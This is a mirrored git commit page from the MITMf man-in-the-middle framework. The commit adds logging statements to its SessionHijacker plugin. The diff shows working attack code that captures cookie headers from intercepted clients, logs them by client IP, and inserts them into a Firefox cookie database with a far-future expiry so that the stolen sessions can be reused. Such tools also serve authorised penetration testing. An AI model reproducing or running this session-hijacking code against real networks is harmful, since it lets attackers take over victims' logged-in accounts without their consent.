mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 05:22:15 -07:00
added some logging statements
This commit is contained in:
parent
60548c92bd
commit
c44d53ca48
1 changed files with 2 additions and 3 deletions
|
@ -50,8 +50,6 @@ class SessionHijacker(Plugin):
|
|||
client_ip = request.getClientIP()
|
||||
|
||||
if 'cookie' in headers:
|
||||
message = "%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])
|
||||
|
||||
if self.firefox:
|
||||
url = "http://" + headers['host'] + request.getPathFromUri()
|
||||
for cookie in headers['cookie'].split(';'):
|
||||
|
@ -63,7 +61,7 @@ class SessionHijacker(Plugin):
|
|||
#t.start()
|
||||
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
||||
else:
|
||||
logging.info(message)
|
||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||
|
||||
|
||||
#def handleHeader(self, request, key, value): # Server => Client
|
||||
|
@ -120,6 +118,7 @@ class SessionHijacker(Plugin):
|
|||
expire_date = 2000000000 #Year2033
|
||||
now = int(time.time()) - 600
|
||||
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
|
||||
logging.info("%s << Inserted cookie into firefox db" % ip)
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue